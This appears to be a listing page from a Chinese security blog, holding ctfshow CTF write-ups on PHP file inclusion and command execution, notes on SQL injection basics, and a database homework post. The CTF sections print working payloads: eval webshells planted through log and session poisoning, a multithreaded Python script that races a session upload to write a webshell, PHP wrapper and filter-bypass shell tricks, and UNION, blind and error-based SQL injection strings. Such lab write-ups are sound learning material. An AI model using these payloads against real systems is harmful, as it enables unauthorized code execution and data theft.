首页
友链
联系我吧
Search
1
狮子鱼CMS ApiController.class.php SQL注入漏洞复现
2,436 阅读
2
SSRF绕过总结
1,125 阅读
3
存储桶接管-漏洞复现
887 阅读
4
k8s安装及部分漏洞复现
847 阅读
5
春秋云镜免费靶场记录10.11
813 阅读
web
welcome
漏洞复现
挖洞实战
总结
登录
/
注册
Search
n00bk1ng
累计撰写
36
篇文章
累计收到
9
条评论
首页
栏目
web
welcome
漏洞复现
挖洞实战
总结
页面
友链
联系我吧
搜索到
36
篇与
noob
的结果
2021-04-12
ctfshow文件包含78-88、116-122、124
web78没有任何过滤的php伪协议直接文件包含,payload:?file=php://filter/read=convert.base64-encode/resource=flag.phpweb79对php进行了过滤,我们可以利用data协议进行文件包含,payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==,拿到flagweb80利用ua头进行日志包含,ua里写入一句话,然后POST传参,访问日志拿到flag。uapayload:<?php eval($_POST[a]);?>,POST传参:a=system("tac fl0g.php");web81同上web82因为过滤了.,所以就需要利用无后缀的文件,在php中只有session文件是没有后缀的,所以需要利用session.upload来进行文件包含,而本题中没有上传session值,但是只要上传PHPSESSID就会在默认session目录里生成一个/tmp/sess_%id%的文件,而这里是无后缀的,但是我们需要控制文件内容,而控制文件内容就需要PHP_SESSION_UPLOAD_PROGRESS参数,这个参数是获取实时文件上传进度的,会返回一个session,因此就可以利用他来指定session内容,然后进行文件包含,参考脚本:import requests import io import threading url = 'http://1ff11797-c41e-4aac-a3ca-95c30610563f.challenge.ctf.show:8080/' sessionid = 'ctfshow' data = { "1": "file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');" } def write(session): fileBytes = io.BytesIO(b'a' * 1024 * 50) while True: response = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>' }, cookies={ 'PHPSESSID': sessionid }, files={ 'file': ('ctfshow.jpg', fileBytes) } ) def read(session): while True: response = session.post(url + '?file=/tmp/sess_' + sessionid, data=data, cookies={ 'PHPSESSID': sessionid } ) resposne2 = session.get(url + '2.php') if resposne2.status_code == 200: print('++++++done++++++') else: print(resposne2.status_code) if __name__ == '__main__': evnet = threading.Event() with requests.session() as session: for i in range(5): threading.Thread(target=write, args=(session,)).start() for i in range(5): threading.Thread(target=read, args=(session,)).start() evnet.set()web83虽然可以直接使用上面的脚本,但是这里还是需要看一下83与82的区别,83增加了一个对于session的处理,在最前面加了一个清除session的参数,但是我们执行脚本之后,session清除之前就可以实现文件的上传,所以仍然可以进行后续的文件包含,因此仍然可以实现。web84仍然可以使用以上的脚本,但是这里可以看到实际上做出了对于tmp/*的处理,也就是直接删除,但是我们的脚本中使用了多线程,因此在执行rm rf的时候由于多线程,可能同时又一次执行了生成tmp文件的过程,因此仍然可以包含进去,因此仍然可以进行文件包含,然后拿到flagweb85这歌地方不能使用原来的脚本了,在这里他过滤了<字符,因此尝试使用伪协议进行修改,但是仍然没有成功,于是想到83中可以利用多线程的web86仍然可以使用上面的脚本,但是这里还是要看看,相当于加入了一个变量用来存储路径,直接使用脚本拿到flagweb87这里除了对之前一些字符的过滤之外,还进行了对file的一次url解码,并且同时对content进行传参,因此这里使用php://过滤器的方法,先把payload放上来,payload:?file=php://filter/write=stirng.rot13/resource=1.php,然后吧payload进行两次url编码,dull url encode,然后进行content的传参,payload:content=<?cuc flfgrz('gnp s*.cuc');?>,上传成功后访问1.php然后拿到flag。web88过滤了好多字符,但是可以看到没有过滤:,所以可以使用伪协议,于是我们想到使用data伪协议加上base64进行命令执行,然后payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4g,然后这里有个细节就是base64编码中不能存在=和+,因为对这两个符号进行了过滤,所以可以尝试在最后加一个空格,就可以成功绕过,拿到flag。web116进去后一个视频,看到hint是misc+lfi,所以保存mp4,foremost可以分理处一张源码的图片,看到有file_get_contents,就直接构造file=flag.php,但是网页是获取mp4格式的,所以无法直接查看flag,抓包拿到flag。web117丢出这类问题的一个总结文章(file_put_content和死亡·杂糅代码之缘),但是,看完了也做不出来,因为这里的rot13和base64都被过滤了,然后看大佬的wp,可以尝试使用iconv.UCS-2LE.UCS-2BE,这个编码的作用是字符两位两位进行交换,然后就可以让die函数失效,然后包含a.php读取flag。payload:?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php,POST中contents=?<hp pvela$(P_SO[T]1;)>?。还有很多编码方式都可以利用web118使用内置变量将命令表示出来,可以测试${PATH:~0}是n,但是这里数字被过滤了,因此需要使用A代替,然后使用${PWD:~0}表示l,结合通配符将nl flag.php表示出来,payload:${PATH:~A}${PWD:~A} ????.???web119ban掉了PATH、HOME、BASH,看yu师傅的文章,使用base64进行转码拿到flag,这时候结合通配符只需要表示/和4就可以实现,于是使用${PWD::${#SHLVL}}表示/,使用${#RANDOM}随机到4,使用通配符表示其他,也就是执行命令/bin/base64 flag.php,payload:code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???,拿到flag,看到ctfshow上的hint里,使用的是${HOME:${#HOSTHOME}:${#SHLVL}}表示t,使用${PWD:${Z}:${#SHLVL}}表示/,构造/bin/cat flag.php,也能拿到flag,姿势很多。web120直接使用119的思路就可以解决120,构造/bin/base64 flag.php拿flagweb121这里把SHLVLban了,可以使用$?表示1,构造的时候就变成了:${PWD::${#?}},其他的相同,119的payload直接替换即可,试看了feng师傅的wp之后,试了下${##}也能表示出1,也能得到flag。web122把PWD和#过滤了,PWD可以直接用HOME代替,但是因为过滤了#,无法使用内置变量来后区数字,这时候可以使用上面121利用的$?表示数字1$? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。因此构造payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???,多次刷新,随机到4的时候就可以拿到flagweb124自己没操作出来,直接看yu师傅的吧...白名单里包含了可以执行的数学函数,基本思路就是利用数学函数构造命令语句执行,先了解下面函数base_convert(number,frombase,tobase); 参数描述 number必需。规定要转换的数。frombase必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a表示 10,b 表示 11 以及 z 表示 35。 tobase必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。bindec — 二进制转换为十进制 bindec ( string $binary_string ) : numberdecbin — 十进制转换为二进制 decbin ( int $number ) : stringdechex — 十进制转换为十六进制 dechex ( int $number ) : stringdecoct — 十进制转换为八进制 decoct ( int $number ) : stringhexdec — 十六进制转换为十进制 hexdec ( int $number ) : string尝试构造语句:?c=$_GET[a]($_GET[b])&a=system&b=cat f,之前做过这类题,知道可以利用hex2bin函数进行16进制转换字符串的操作,然后dechex可以将10进制转换成十六进制,所以大体思路就是构造hex2bin函数,然后通过上面的连续操作构造一个使用数字函数和数字的payload,而构造hex2bin则需要用到base_convert了,因为36进制中包含了所有的数字和字母,所以直接将hex2bin转换为10进制就可以了,然后中括号使用花括号进行表示,就可以构造一个base_convert(37907361743,10,36)(dechex(1598506324));然后构造整个payload:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat f,在这个过程中,所有的变量名也要使用函数名,不然还是拿不到flag。yu师傅博客
2021年04月12日
226 阅读
0 评论
1 点赞
2021-04-09
ctfshow命令执行54-71
web54加强了对于各个命令的正则过滤,于是使用通配符。payload:?c=/bin/?at${IFS}f??????web55过滤了字母和空格以及空格的多种绕过,百分号也被绕过,用了Y4师傅的脚本,脚本原理是上传一个文件,在上传时会同时生成一个临时文件,通过使用特殊字符加通配符访问该文件获取flag具体就是上传文件后存放于一个临时目录,命名规则为/tmp/phpxxxxxX,可以在本地新建一个html用来上传文件,然后抓包,然后payload:?c=. /???/???????[@-Z],.可以作为执行命令,?是通配符,在ascii码表中,大写字母是位于@和[之间的,所以可以利用[@-Z]来代替大写字母,然后对上传文件的内容进行更改,进行命令执行,例如ls、cat flag.php等都可以,然后就可以拿到flag。web56同上web57查看源码知道需要构造36,这里可以利用$(())与整数运算。payload:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))。我自己推了一个payload,但是不知道为啥不能运行,丢在这里师傅们看一下:$((~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(()))))),加url编码可以解决。web58改为post传参,但是没有任何过滤,直接highlight_file('flag.php');拿到flagweb59同上web60-65同上web66上当了,这次的flag存放在了flag.txt里,所以访问flag.txt就可以看到flag,payload:?c=highlight_file('/flag.txt');web67同上web68这次估计是highlight_file和show_source都不能用了,于是使用include执行index.php查看源代码,发现字节太大,于是访问flag.php没有,于是访问flag.txt,拿到flag。web69同上web70禁用了更多函数,但是include和require仍然可以访问,。payload:c=include('/flag.txt');web71下载源码可以看到,使用了两个函数,一个是ob_get_contents();得到缓冲区的数据。另一个是ob_end_clean();会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。因此我们需要和之前的题一样,进行类似截断的操作,让后面无法运行,于是在后面加exit()进行类似截断的操作。payload:c=include('/flag.txt');exit();
2021年04月09日
221 阅读
0 评论
5 点赞
2021-04-08
ctfshow命令执行29-53
web29只对flag进行了过滤,有很多绕过方法,可以使用通配符或者转义字符等等。payload:?c=system("cat fla*");web30在29的基础上增加了system和php,因此可以使用nl命令加通配符,或者是反引号,payload:?c=echo nl fla*;web31if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c))过滤了大多数参数,先使用print_r(scandir(dirname(__FILE__)));可以看到第三个元素是flag.php,因此直接使用array_reverse()倒置并使用next()函数定位,高亮显示即可web32此处进行了多重过滤,包括括号,因此,需要找一个没有括号的命令来进行绕过,此处使用include,分号使用?>进行绕过,然后就结合一下php伪协议就可以实现绕过web33-36这里除了36对数字进行过滤了之外,剩下的都可以直接进行伪协议,payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php或者使用data协议,?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>或者此处转码,?c=include$_GET[a]?>&data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==就能拿到flagweb37-38因为对c进行了一次取数加过滤,并过滤了flag,所以想到利用data伪协议进行base64转码的操作,就可以拿到flag;还可以进行新操作,配合UA头执行日志包含虽然不建议用ua头日止包含,但是还是试了下:首先通过ua头传POST参数a,然后在POST中传参1,然后利用参数1访问日志文件,利用参数a拿flag还可以通过包含flag.php文件,然后var_dump(get_defined_vars)拿到flagweb39类似于38但是这里有一部else之后添加.php,这里不用管,直接使用data伪协议就好,就可以进行输出,这里不能用base64,因为这个地方的.php是最后加的,会影响最后的转码;还有另一种方法能得到flag,就是构造新的参数进行命令执行,payload:?c=data://text/plain,<?php eval($_POST[1]);?>,此时的POST请求中输入1=system("tac flag.php");得到flagweb40过滤了很多的特殊字符,因此可以使用之前的函数进行操作。先用print_r(scandir(dirname(__FILE__)))看到flag.php,然后使用next(array_reverse())定位,最后使用高亮输出,得到flag,payload:?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));也或者通过另一种形式,payload:?c=show_source(next(array_reverse(pos(localeconv()))));也可以得到flagweb41无数字无字母的命令执行,这里直接用的yu大佬的脚本,具体用法就是把两个脚本放在同一目录,然后powershell运行出flag。脚本原理是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符,相当于找出可用字符拼命令。web42没有进行过滤,但是在参数的最后加上了>/dev/null 2>&1,如果执行则得不到结果,于是需要进行截断,直接%0a截断即可web43对cat进行了过滤,但是nl仍然在外面,因此直接使用?c=nl flag.php%0a得到flagweb44同时过滤了cat和flag,直接使用通配符拿到flag。payload:?c=nl fla*%0aweb45比44多过滤了一个空格,这时可以用内联注执行或者%09绕过,内联执行使用:payload:?c=echo$IFStac$IFS*%0a,还有很多绕过空格的方法:<>web46多过滤了数字,实际上基本上差不多,payload:?c=nl%09flag.php%0aweb47可以直接用46的命令执行,尝试<成功,绕过flag使用flag和fla''g成功web48与上面相同web49c=nl%09flag.php||c=nl%09flag.php%0ac=nl%09fla''g.php%0ac=nl%09fla""g.php%0ac=vi%09flag.php%0ac=tac%09flag.php%0ac=uniq%09flag.php%0ac=nl<fla''g.php||c=nl%09flag.php%26web50同上web51同上web52这里对于空格的绕过检测过滤的很严格,但是没有过滤$,因此可以利用$IFS进行绕过,payload:?c=nl$IFS/flag||web53没有了后面的>/dev/null 2>&1,过滤依然和前面差不多。payload:?c=nl$IFSflag.php可以得到flag。
2021年04月08日
174 阅读
0 评论
1 点赞
2021-01-31
SQL注入基础整理(二)
存在过滤的绕过总结过滤空格常见的过滤空格的绕过方式是使用URL编码和//、括号等,利用%0a、%0b、%0c、%09、%a0、//进行绕过过滤SELECT如果是对SELECT进行替换为空,则使用嵌套的方式进行绕过,如果是仅仅对SELECT设限,则使用大小写绕过,或者是使用内联注释绕过,即/!../绕过过滤and、or等使用&&代替and,||代替or=被过滤使用通配符like进行绕过,或者在判断条件<>前加!过滤大于小于号引用函数greatest()、least()、strcmp()、between、in关键字等,在盲注中会遇到这类问题。过滤引号分开讨论,如果没有过滤/则可以利用转义进行操作,如果/也被过滤则使用宽字节注入或者其他编码进行绕过。二次注入:输入的数据经过addslashes之后无法进行账户入,但是在引用该数据时,不会经过addslashes,于是可以通过该方式产生注入。字符串截断 $conn = mysqli_connect("127.0.0.1","root","root","aaa"); $title = addslashes($_GET['title']); $title = substr($title,0,10); echo"<center>$title<center>"; $content = addslashes($_GET['content']); $sql = "INSERT INTO news VALUES(2,'$title','$content')"; $res = mysqli_query($conn, $sql); 例如该php代码,可以看到对title进行截断,不超过十个字符,所以可以利用addslashes函数的作用,例如输入aaaaaaaaa',在截取时就会输出aaaaaaaaa,所以直接将$sql = "INSERT INTO news VALUES(2,'$title','$content')"的单引号转义,然后通过content进行注入。分块传输后面更新
2021年01月31日
295 阅读
0 评论
5 点赞
2021-01-28
SQL注入基础整理(一)
数字型注入与字符型注入的区别关于数字型和字符型的判断,主要是来自于php中对于传入语句的区别。数字型:$sql = mysqli_query($conn,"SELECT id,content FROM news WHERE id =".$_GET['id']) 字符型:$sql = mysqli_query($conn,"SELECT id,content FROM news WHERE id ='".$_GET['id']."'") 此处的区别就是传入时的区别,可以利用id = 3-1的回显判断是哪种注入,如果回显正常,那么就是数字型注入,如果页面返回为空,继续访问id = a,如果是正常回显则为字符型注入。数字型注入和UNION注入 判断为数字型注入之后,开始进行SQL注入,而且此处的注入点是id,因此直接通过id入手,进行注入时,由于PHP代码决定该界面只显示一行记录,要设置id为-1或者是其他很大的数;或者是限定limit 1,1,用来指定查询第几条记录。假设已知有三个字段,2的位置会产生回显,于是进行注入payload:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()此时可以回显出所有的表名,然后找到有用的表名(假设是user)进一步注入payload:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user'然后就可以找到对应的字段名(假设flag在flag字段中),然后可以进一步注入payload:?id=-1 union select 1,flag,3 from flag。字符型注入得知是字符型注入之后,可以使用单引号必和前面的单引号,然后注释掉后面的内容,于是使用"--%20"或者"%23"注释,然后后续的方法与数字型注入相同。布尔盲注原理是利用sql的强制转换,然后进行判断的功能,如果判断为true,则会回显,如果判断错误,则会回显空白,于是直接从后面进行判断,可以使用substring()、mid()、substr()函数进行判断,substring()函数和mid()函数起始值是1,substr()函数起始值是0。因此可以利用这些函数进行猜解,payload:?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100%23,然后可以像之前一样进一步的猜解。时间盲注的回显是通过对于回显的时间进行判断是否正确,例如payload:(if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4))%23 。报错注入形式就是当的语句出现错误时,会出现错误调试信息,主要是updatexml()函数和extractvalue()函数,updatexml()第二个参数为合法的XPATH路径,如果报错则会放回传入的参数进行输出。所以构造payload:id=1' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))堆叠注入多条语句一起执行,与UNION注入的区别是union的能力有限,而堆叠注入可以构造任意语句,使用(;)连接,在过滤较多但没有过滤(;)的题目中也许能够派上用场。根据注入点的不同,注入姿势也是不一样的,以后会根据源码进行分析。以上是阅读从0到1之后的一些笔记,均未涉及对关键字的过滤情况,在以后的整理中会有详细整理。
2021年01月28日
157 阅读
0 评论
5 点赞
2020-12-13
某科技大学物联网数据库sql作业实验(后续更新并解决问题)
实验一内容:使用MySQL创建数据库,采用PyQt制作简单界面完成以下功能: (1)数据的增加 (2)数据的删除 (3)数据的查找 (4)数据的修改 实验二内容:使用MySQL创建数据库,采用PyQt制作简单界面完成以下功能: (1)使用正则表达式进行数据检索; (2)根据数据库中的项目,创建“计算字段”,并且显示计算结果; (3)使用AVG( )、COUNT( )、MAX( )、MIN( )、SUM( )聚集函数实现数据汇总; (4)使用 group by 和 order by 实现数据的分组排序; (5)使用子查询。 实现的py文件百度网盘链接:https://pan.baidu.com/s/13FCgy5CEdP5SpTCmwrHC9w 提取码:n00b 和实验一相差不多,不同的是实验二的sql语句变的相对复杂了些,不过只要对sql语句进行修改,同样也可以完成对该实验的实现。没有引用pandas库,仍然是使用的pymysql以及pyqt的框架,在py文件中注有少量注释,作为初学者对代码知识的掌握确实不是很好,也确实没有做深入的研究,希望各位大佬们能给出一些指导意见,能让我更早上岸当菜鸡(゜ω゜) 另外,实验一的代码并没有删除,也在附件里,请大佬们放心食用。在敲代码的过程中也遇到了一个问题,就是在将遍历的结果输入进表中时,总会把第一行的字段名一并遍历并且清空,希望能解决的大佬来帮帮忙,共同进步!!!(*´・ω・`)⊃更新:可以直接在当前函数下加一句self.tableWidget.clearContents(),这句话的作用是清空对第一行字段的值,然后在先前的我们的值为多少,现在的值就为多少,此时就可以让他的值保持不变。pyqt和python一起学的,真的很基础,大佬们轻点~~一起变强!!!୧(๑•̀⌄•́๑)૭✧
2020年12月13日
417 阅读
1 评论
6 点赞
1
...
4
5
6